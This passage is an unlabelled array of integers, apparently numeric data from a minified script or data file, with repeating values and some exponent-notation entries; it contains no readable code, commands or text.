34986,42516,42516,29815,34304,21387,19116,42516,38636,42516,42516,42516,42516,28243,22657,22657,43325,22657,27401,46316,46316,30705,48318,38147,38147,38147,35021,40896,22382,42516,42516,42516,42516,42516,42516,42516,42516,35376,42516,35039,38368,22657,22657,22657,22657,50945,22541,46316,46316,46316,46316,38717,38147,38147,38147,38147,38147,41757,22444,42516,35059,42516,42516,42516,42516,42516,42516,42516,39196,38370,35077,22657,22657,22657,30360,46821,46316,46316,46316,46316,22343,23541,38147,38147,38147,38147,27826,41766,42516,42516,42516,50318,42516,42516,42516,23255,22657,22657,22657,46040,30361,22539,46316,46316,46316,34080,30525,38147,38147,38147,42204,34440,41769,42516,42516,46608,42516,42516,28242,22657,22657,22657,37745,46316,46316,46316,37798,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,23434,42516,22428,38373,22657,28384,46316,46316,36586,38147,27827,35094,34920,22560,38372,50497,46316,40393,38147,43581,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,44978,42516,51537,30322,33499,42482,50012,50022,18763,18772,35115,35131,35143,35159,35172,26099,42516,42516,42516,36498,41847,42516,42516,42516,31671,41803,35188,36161,35205,35221,43491,35237,35256,29171,35289,37464,35305,42516,42516,42516,35339,42516,28090,35375,42516,42516,28949,35314,39266,28243,48989,48108,22657,35392,47509,37433,35422,34970,35439,27808,35467,38147,35501,35536,22382,42516,35594,39908,48509,34515,35614,42516,18299,18417,42516,35655,35672,48116,22657,43129,29280,37184,22541,48019,46316,38117,35692,47637,38147,35719,38147,35737,27472,35753,22444,42516,42516,42516,42516,35778,48535,35820,42516,42516,42516,23024,36244,22657,22657,29502,38418,35859,41980,46316,46316,48733,41934,49389,35884,38147,38147,40673,49832,35905,42516,36909,35924,35976,35997,18673,36033,34522,36081,47410,36098,36117,36141,36177,46316,36198,32809,43953,30446,38147,43626,42012,36214,36230,23328,20636,45205,36266,36283,36301,35981,36329,26662,46771,36350,36390,48253,35703,36411,36456,40231,38454,41461,37653,42516,42516,37028,36479,40577,43121,45398,22366,37772,48725,38205,36432,50457,40469,42516,25485,42516,36514,38373,22657,28384,46316,46316,36586,38147,27827,36626,36531,42516,28996,31885,36559,36579,36602,36619,36804,36642,28385,28404,30535,42423,49897,44263,36663,36694,43147,27775,22913,28244,40729,36585,22448,36713,36744,34366,22755,31692,28429,36774,36790,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,39935,42516,51537,42516,42516,42516,42516,25917,42516,29952,39942,19158,38671,36820,36833,26099,42516,42516,42516,27632,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,28241,22657,46314,35273,38147,34810,28721,42516,42516,42516,34304,42516,42516,42516,42516,42516,42516,42516,42516,28243,22657,22657,44206,22657,27401,46316,46317,46316,48318,38147,38147,34588,38147,40896,22382,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38368,22657,22657,22657,22657,38374,22541,46316,46316,46316,46316,44805,38147,38147,38147,38147,38147,32923,22444,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38370,22657,22657,22657,22657,30360,22540,46316,46316,46316,46316,22343,30533,38147,38147,38147,38147,27826,41766,42516,42516,42516,42516,42516,42516,42516,23255,22657,22657,22657,22657,30361,22539,46316,46316,46316,46316,30525,38147,38147,38147,38147,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,37745,46316,46316,46316,37798,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,19484,42516,51537,42516,42516,42516,42516,25917,42516,42516,42516,42516,46741,49861,51029,26099,42516,42516,42516,27632,42516,42516,36849,42516,42516,42516,42516,42516,42516,42516,28241,22657,46314,35273,38147,34810,28721,42516,42516,42516,34304,42516,42516,42516,42516,42516,42516,42516,42516,28243,22657,22657,22657,22657,27401,46316,46316,46316,48318,38147,38147,38147,38147,40896,22382,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38368,22657,22657,22657,22657,38374,22541,46316,46316,46316,46316,44805,38147,38147,38147,38147,38147,32923,22444,42516,36869,42516,42516,42516,42516,42516,42516,42516,42516,46294,22657,22657,22657,22657,30360,49232,46316,46316,46316,46316,22343,30796,38147,38147,38147,38147,27826,41766,42516,42516,42516,42516,42516,42516,42516,23255,22657,22657,22657,22657,30361,22539,46316,46316,46316,46316,30525,38147,38147,38147,38147,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,37745,46316,46316,46316,37798,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,46996,42516,51537,42516,23354,42516,42753,36888,36925,36938,36954,36961,36977,36993,37006,26099,42516,37022,42516,27632,42516,41516,26816,42516,42516,37044,42516,37049,18537,37065,37087,37117,44086,37200,37235,39844,33658,37263,42516,42516,35791,42516,42516,34914,28072,42516,37291,22389,37311,18926,37716,37348,43712,48153,37366,37382,46316,37416,40607,40193,49587,35520,37449,27508,37480,37934,42516,42516,42516,42516,41144,42516,42516,42516,42516,42516,38368,37503,36125,22657,37529,39594,37550,37566,48265,46316,37588,30713,29645,37605,37623,38799,38147,37641,22444,42516,42516,37688,42516,42516,49494,24999,42516,42516,42516,38370,22657,22657,29494,37704,37740,22540,46316,46316,40001,37761,37795,30533,38147,38147,37825,37814,37848,41766,42516,37894,42516,42516,51139,42516,42516,23255,22657,41398,22657,22657,30361,22539,42274,46316,46316,46316,30525,38147,37912,38147,38147,34440,41769,37930,36490,42516,34663,37950,28242,37986,22657,22657,46812,38013,46316,46316,45485,49261,38147,38147,48821,22690,49311,42516,42516,38050,38368,41404,22657,40730,47057,46316,36583,48937,38147,40469,42516,21575,42516,42516,38373,22657,38069,46316,45780,36586,38147,40463,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,38089,46273,22694,23034,40134,34366,22755,38105,38164,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,26200,42516,51537,42516,27946,42516,42516,47834,20951,20960,38221,38236,38243,38259,38272,26258,42516,38551,42516,27632,42516,34262,42516,42516,42516,38553,42516,38546,21091,38552,21774,38288,31700,35273,38309,34810,28721,42516,42516,38329,34304,42516,29241,23811,23953,42516,42516,42516,38347,38364,33022,22657,38390,38410,28636,46316,29607,39628,38434,42370,38147,48603,38470,47663,38504,38541,39253,39681,42516,42516,42516,42516,41197,42516,42516,42516,38368,31857,22657,38569,22657,38374,22541,38589,28198,46316,46316,44805,29206,27800,32877,38147,38147,32923,22444,42516,28144,42516,38634,42516,45188,42516,38652,42516,42516,38370,39723,22657,22657,38687,30379,22540,23043,46316,46316,38710,22895,30533,49398,38147,38147,38733,27826,41766,42516,42516,42516,42516,42516,42516,42516,23255,22657,22657,22657,22657,30361,22539,46316,46316,46316,46316,30525,38147,38147,38147,38147,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,37745,46316,46316,46316,37798,38147,38147,38147,27827,33462,42516,42516,42516,42516,38368,38756,22657,40730,38776,46316,36583,38795,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,38815,36586,49663,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,49485,38368,44256,40047,45820,38834,38868,32210,38891,28238,43147,27775,22913,28244,40729,36585,22448,28385,38914,38935,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,27187,42516,30926,42516,34543,38987,37672,39016,39067,39107,39092,39111,39076,39127,39140,26099,42516,25841,23701,20829,39222,20009,42516,39156,41252,39175,39212,32746,21195,39238,26847,39289,45668,39332,39368,34810,28721,32390,42516,42516,26444,30879,36010,28099,40787,39398,38525,26035,39432,39483,44460,39503,41633,22657,32003,22601,46316,49709,48318,47976,47889,30552,38147,33209,39523,39917,39159,42516,39546,42516,42516,40976,42516,42516,42516,39568,39487,37157,22657,39589,22657,38374,39610,45436,46316,39644,46316,44805,27542,39661,38313,38147,38147,32923,22444,42516,42516,42516,42516,30632,42516,42516,21187,39678,39697,39714,22657,22657,50559,22657,39739,39760,46316,46316,38818,46316,39784,39805,38147,38147,32856,38147,39829,41766,46006,39893,48391,49682,42516,39960,34641,39976,38394,40024,37997,33010,30361,22539,40063,40121,43817,40157,30525,40868,40175,40209,40247,34760,44916,20285,40281,34623,40309,51090,50324,48429,40325,40344,40364,39645,40409,40428,40449,38147,40485,49825,39382,22690,40506,42516,42516,22216,40534,39507,48098,30083,50926,38024,33595,45640,28567,40469,40559,42516,40087,26129,45371,31289,28384,40593,41927,40637,40665,40689,34614,41203,40707,27312,43148,48295,28405,40861,22683,50287,38368,40727,40746,40649,40767,40811,22827,40847,33407,49334,48207,33243,28244,40729,36585,22448,28385,36584,41673,40884,31692,28429,22929,40922,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,40951,51537,42516,42744,40972,42516,27292,40992,41001,41017,41032,41039,41055,41068,26099,20248,41084,41102,41129,21286,41166,42516,41182,41219,41286,31731,41302,41336,41352,41368,41384,34883,41420,41436,48349,41477,42516,42240,27121,34422,42516,41511,25267,41532,41575,42516,42516,41594,28243,22657,31843,41613,34053,27401,40159,35568,34847,41649,38147,27550,41689,41744,40896,22382,42516,26380,42516,41578,42516,44762,41785,42516,41828,27866,41270,19255,22657,41881,41897,22657,35406,41916,43971,44095,46316,46316,41950,22851,37219,42001,38147,29467,32923,42028,42044,42516,46644,19385,42516,42516,42516,42516,42516,34632,38370,22657,27339,43920,22657,30360,22540,46316,44514,36395,46316,22343,30533,38147,35478,49592,38147,27826,41766,42516,42516,21305,42516,31235,42516,42516,23255,22657,22657,22657,22657,20064,42074,46316,46316,46316,46316,42093,38147,38147,38147,38147,50734,41769,50664,35952,42516,42516,42516,41113,22657,42177,22657,45759,46316,43945,46316,45799,38147,45843,38147,27827,29041,42127,42516,42516,42516,48412,30671,22657,38073,44692,46316,33520,45533,38147,40469,42146,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,43588,34920,42516,42166,40348,33173,48271,42201,22683,42220,41559,42256,42290,42321,33756,44448,35547,42352,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,32531,22755,42386,28429,22929,42410,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,39045,51537,42516,42516,42439,19363,42461,42498,42516,31468,42533,42547,42563,42576,26099,42516,42516,25867,27632,42516,42516,42516,42592,26617,42516,42516,26436,25867,42516,30236,31920,49620,42612,36440,34810,28721,42516,42647,42516,34304,42516,44608,36046,42516,35598,42516,42516,36057,51481,44194,32471,36334,37148,42671,32033,42687,33121,42706,38488,30256,30569,29372,32199,42722,42778,42516,42799,42516,49524,50043,35835,42516,42516,42516,42516,38368,22657,22657,37175,22657,38374,22541,46316,46316,47563,46316,44805,38147,38147,38147,42836,38147,32923,42853,42888,35656,42516,42516,42516,50763,30902,39460,48700,42516,38370,22657,42923,22657,22657,37350,22540,46316,42958,46316,46316,27403,30533,38147,42991,38147,38147,27826,41766,42516,29233,42516,42516,42516,43017,42516,23255,22657,22657,49093,22657,22325,22539,46316,46316,43039,46316,30788,38147,38147,35485,38147,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,37745,46316,46316,46316,37798,38147,38147,38147,27827,22690,42516,36017,42516,42516,43058,22657,22657,40730,46316,46316,36583,38147,38147,48843,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,46409,43080,43110,32715,30112,30535,40935,43145,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,42516,51537,42516,42516,42516,42516,25917,42516,42516,42516,42516,46741,49861,51029,26099,42516,42516,42516,27632,42516,42516,35061,42516,42516,42516,28279,28282,18254,28275,31684,43164,43182,29146,43216,43233,29330,43270,42516,42516,34304,42516,42516,42516,42516,42516,42516,42516,42516,28243,22657,22657,22657,22657,27401,46316,46316,46316,48318,38147,38147,38147,38147,40896,22382,42516,42516,42516,43287,42516,42516,42516,42516,42516,42516,42516,38368,22657,22657,22657,22657,38374,43306,46316,46316,46316,46316,50852,38147,38147,38147,38147,38147,32923,22444,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38370,22657,22657,22657,22657,30360,22540,46316,46316,46316,46316,22343,30533,38147,38147,38147,38147,27826,41766,42516,42516,42516,42516,42516,42516,42516,23255,22657,22657,22657,22657,30361,22539,46316,46316,46316,46316,30525,38147,38147,38147,38147,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,37745,46316,46316,46316,37798,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,43323,28384,43789,46316,36586,43341,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,50278,22100,42516,42516,50243,42516,29530,43375,33789,43361,43411,43418,43434,43447,26099,42516,33915,33924,27632,40956,43463,43486,41243,43507,26512,26972,26982,27147,41812,42783,43531,49966,43567,43604,44058,40078,42516,42516,42516,23213,43642,34502,43666,43684,38517,42516,42516,35323,43702,22657,43728,30048,43746,43782,42975,46316,43805,34708,43833,43850,27569,49274,49874,43871,42516,42516,42516,45270,35189,42516,42516,43894,43668,42516,42814,33726,22657,43915,22657,37724,49041,43936,46316,43969,46316,45680,43987,44022,33996,38147,38147,44043,44074,22444,42516,42516,19081,42516,44111,44127,42516,43290,44154,44166,44182,22657,37101,44229,44279,30652,44299,46316,42336,45461,44326,40412,44345,38147,44372,45987,44388,34123,41766,28121,42516,42516,24911,44407,50085,42516,44435,27732,44483,22975,22657,30361,22539,44504,42690,46316,46316,30525,28768,44537,44554,38147,40691,44575,42516,44603,44624,42516,42516,28242,44645,22657,22657,44664,44689,46316,46316,49378,44708,38147,38147,49798,22690,42516,44729,42516,42516,20056,22657,22657,34376,46316,51047,22477,38147,44538,40469,42516,22273,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,44749,26230,34694,49922,44785,36803,38372,46315,38146,47702,44821,44842,44862,21913,40729,36585,22448,28385,36584,40621,44890,44940,42111,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,46959,51537,45028,47264,44964,45002,45045,45083,45015,45108,45123,45139,45155,45168,26099,45184,28448,42516,28797,42516,42516,30342,42516,42516,45204,45221,31185,28655,31192,26648,48147,38948,50978,45241,34810,28721,45262,45286,25875,34304,35804,42516,42516,42516,42516,45307,45333,42516,45362,45387,27370,22657,22657,45422,45457,45477,46316,48318,45501,22713,45531,38147,40896,22382,41086,42516,42516,45549,45580,42516,42516,42516,42516,42516,41312,38368,32670,37166,22657,22657,33029,22541,45618,47052,46316,46316,45690,35721,38147,45637,38147,38147,45656,22444,42516,42516,45593,44733,42516,45600,35835,45706,27030,38348,45731,22657,22657,40543,26861,45754,45775,46316,46316,43191,44800,45796,45815,38147,38147,40256,45836,45859,28046,42867,49429,42516,25220,42516,19477,43271,20461,22657,22657,27347,45890,30361,22539,46316,48577,44521,46316,30525,38147,38147,46850,45910,34440,41769,42516,50831,45929,19737,42516,28242,22657,45947,43759,50887,46316,45965,46065,28181,38147,45983,46857,27827,22690,42516,42516,46003,44138,38368,22657,22657,40730,46316,46316,36583,38147,38147,29031,51383,46022,26136,47337,46039,22657,46056,46316,34383,36586,38147,46089,46111,34920,46149,46173,43148,46207,44846,46228,32903,36804,38368,46247,46266,45515,36803,38372,46315,38146,35099,35240,22504,22913,46289,46310,46333,36758,46387,47879,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,27247,51537,42516,42516,23393,42516,46425,46462,46474,46490,46505,46521,46537,46550,26099,46566,25493,25815,46587,26561,21328,46624,21598,42516,46636,46660,46669,46685,46722,46757,46799,32544,46837,46873,41704,47524,33832,37332,35627,34304,46901,42516,44629,46918,39031,46952,46975,47012,47022,48184,31972,27713,43730,47038,31642,47073,47098,47607,47121,47145,47186,47202,47222,47250,47280,47302,42058,42516,47326,47353,42516,42516,47371,47388,46928,47404,47426,47449,47472,29567,47494,47549,47584,47623,47679,36182,44805,36463,37832,40141,38147,32161,32170,47697,42516,45060,42596,50682,47718,42130,47751,46440,36515,21144,38370,47785,29270,22657,44488,47820,47850,47868,40376,46316,45441,47912,47938,47958,43617,38147,38919,47992,41766,29407,48041,42516,27096,48062,42516,50062,40568,48085,38573,48132,48169,30361,48200,48223,48241,48287,48311,47922,47129,22858,48334,43855,34440,40906,48365,50193,42516,22144,48387,48407,44243,48428,22657,49223,47234,48445,46316,47082,50795,48488,38147,33704,22690,42516,48504,48525,42516,20103,22966,48559,32447,40385,48575,48593,50156,48626,48646,48680,42516,33850,39552,21921,26930,48716,48749,48769,48802,45246,48837,48960,48859,48887,32658,28363,48910,33376,48933,48953,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,45621,46231,48976,39991,49005,49029,40039,49057,44903,22755,31692,28429,49073,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,42516,49109,42516,42516,49144,42516,32608,18328,18337,49164,18337,18344,49180,49193,26099,42516,42516,42516,27632,20863,28835,42516,42516,42516,42516,28834,42516,20857,42516,28241,49209,31530,22841,49248,36678,30143,33493,42516,42516,34304,42516,42516,35043,49290,42516,42516,42516,38053,28243,49327,22657,22657,22658,49350,46316,46316,46316,31591,33687,38147,38147,38147,49366,49414,49451,42516,49474,49519,42516,42516,43686,45346,42516,46571,46157,38368,45949,40328,45406,25137,29005,22541,48786,34087,38601,49540,48459,38147,33697,39345,49573,33236,49608,22444,42516,19180,42516,50588,42516,42516,42516,18791,42516,42516,38370,38694,22657,22657,22657,30360,49641,32217,46316,46316,46316,22343,49659,38898,38147,38147,38147,27826,41766,46990,42516,49679,42516,42516,42516,42516,20094,31303,22657,22657,22657,30361,49698,46316,46316,46316,46316,30525,49732,38147,38147,38147,34440,35908,42516,42516,46023,49756,42516,29706,37130,22657,22657,39744,38128,46316,46316,49778,49814,38147,38147,49848,22690,22055,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,34322,43148,47105,28405,38446,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,49890,49913,49938,22448,28385,36584,34366,34779,33418,49954,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,42516,5e4,50082,50038,50059,42516,32349,42516,20487,50078,34283,44986,50101,50114,26099,42516,42516,42516,27632,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,28241,50130,42394,35273,50148,34810,28721,42516,36285,32580,34304,42516,42516,42516,42516,42516,25759,42516,42516,28243,27704,22657,37534,22657,27401,50172,46316,38188,48318,29351,38147,30813,38147,40896,22382,42516,42516,42516,42516,42516,41597,42516,42516,42516,42476,42516,38368,22657,50132,22657,22657,38374,22541,46316,49557,46316,46316,44805,38147,38147,50449,38147,38147,32923,22444,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38370,22657,22657,22657,22657,30360,22540,46316,46316,46316,46316,22343,30533,38147,38147,38147,38147,27826,41766,42516,42516,42516,42516,42516,42516,42516,23255,22657,22657,22657,22657,30361,22539,46316,46316,46316,46316,30525,38147,38147,38147,38147,34440,41769,42516,42516,50190,42516,42516,28242,22657,22657,22657,37745,46316,46316,46316,37798,38147,38147,38147,27827,22690,42516,50209,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,50231,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,42516,50266,42516,22306,42516,45067,50303,50340,42516,50365,50380,50394,50410,50423,26099,42516,42516,42516,27632,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,28241,45894,46314,50439,28325,41965,36365,42516,42516,42516,34304,42516,42516,42516,42516,25694,42516,42516,42516,28243,22657,22657,22657,22657,27401,46316,46316,46316,48318,38147,38147,38147,38147,40896,22382,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38368,22657,22657,22657,22657,38374,22541,46316,46316,46316,46316,44805,38147,38147,38147,38147,38147,32923,22444,42516,42516,42516,42516,42516,42516,50473,42516,42516,42516,50491,22657,22657,22657,22657,30360,50513,46316,46316,46316,46316,22343,50533,38147,38147,38147,38147,27826,41766,42516,42516,29399,42516,42516,42516,42516,23255,22657,22657,50557,22657,50575,22539,46316,43245,46316,33180,30525,38147,47942,38147,38147,50611,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,37745,46316,46316,46316,37798,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,26324,42516,42516,42516,42516,51537,42516,42516,42516,42516,25917,42516,42516,42516,42516,48543,50631,50644,26099,42516,42516,42516,27632,50660,42516,50680,42516,42516,42516,29122,42516,21452,29118,32973,50698,44948,35273,50716,34810,28721,42516,42516,42516,50750,27264,27883,43515,42516,42516,42516,42516,42516,28243,22657,43166,22657,49088,27401,46316,30696,30175,48318,38147,38147,50786,27533,40896,50811,50827,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38368,22657,22657,22657,22657,38374,22541,46316,46316,46316,46316,44805,38147,38147,38147,38147,38147,32923,22444,42516,42516,42516,42516,42516,42516,51530,42516,42516,42516,38370,22657,27966,22657,22657,27206,22540,46316,36563,46316,46316,48225,30533,38147,43345,38147,38147,27826,41766,21110,42516,42516,42516,42516,42516,42516,23255,36082,22657,22657,22657,30361,22539,50847,46316,46316,46316,30525,40490,38147,38147,38147,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,37745,46316,46316,46316,37798,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,42516,51537,42516,42516,42516,42516,25917,42516,42516,42516,42516,46741,49861,51029,26099,24903,42516,42516,27632,42516,42516,20017,42516,42516,42516,42516,20023,42516,42516,50868,36101,46314,27462,29927,45874,41719,42516,29087,42516,34304,42516,42516,42516,42516,42516,42516,42516,42872,28243,22657,22657,22657,47797,27401,46316,46316,22542,48318,38147,38147,38147,27479,40896,22382,42516,50903,42516,42516,42516,42516,42516,42516,42150,42516,42516,38368,46183,22657,41900,22657,38374,22541,50922,46316,37779,46316,44805,36603,38147,38147,40222,38147,32923,22444,42516,50475,42516,42516,42516,42516,42516,42516,42516,42516,38370,22657,50942,22657,22657,30360,50961,30499,50994,46316,46316,22343,49789,39662,51012,38147,38147,27826,41766,42516,42516,42516,42516,42516,42516,48664,23255,22657,22657,32677,22657,28304,22539,46316,46316,51045,46316,51063,38147,38147,50725,38147,44006,41769,42516,42516,50906,42516,42516,28242,22657,22657,22657,37745,46316,46316,46316,37798,38147,38147,38147,27827,48656,42516,42516,47372,42516,31381,22657,22657,34817,46316,46316,40751,38147,38147,40469,42516,42516,51087,42516,38373,28681,28384,46316,51106,36586,34742,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,42516,51537,42516,42516,42516,42516,25917,19962,42516,42516,42516,46741,49861,51029,26099,42516,42516,42516,27632,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,28241,22657,46314,35273,38147,34810,28721,42516,42516,42516,34304,42516,42516,42516,42516,42516,42516,42516,42516,28243,22657,22657,22657,22657,27401,46316,46316,46316,48318,38147,38147,38147,38147,40896,22382,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38368,22657,22657,22657,22657,38374,22541,46316,46316,46316,46316,44805,38147,38147,38147,38147,38147,32923,22444,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38370,22657,22657,22657,22657,30360,22540,46316,46316,46316,46316,22343,30533,38147,38147,38147,38147,27826,41766,42516,42516,42516,42516,42516,42516,42516,23255,22657,22657,22657,22657,30361,22539,46316,46316,46316,46316,30525,38147,38147,38147,38147,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,37745,46316,46316,46316,37798,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,42516,42516,42516,42516,46123,30288,30286,49299,30156,51124,22408,22410,49308,30152,46133,51161,51174,21040,42516,42516,42516,27632,42516,42516,31797,42516,42516,42516,42516,42516,42516,42516,32629,20505,20792,18990,21068,19019,18919,18270,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,51190,25598,18486,18508,19308,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19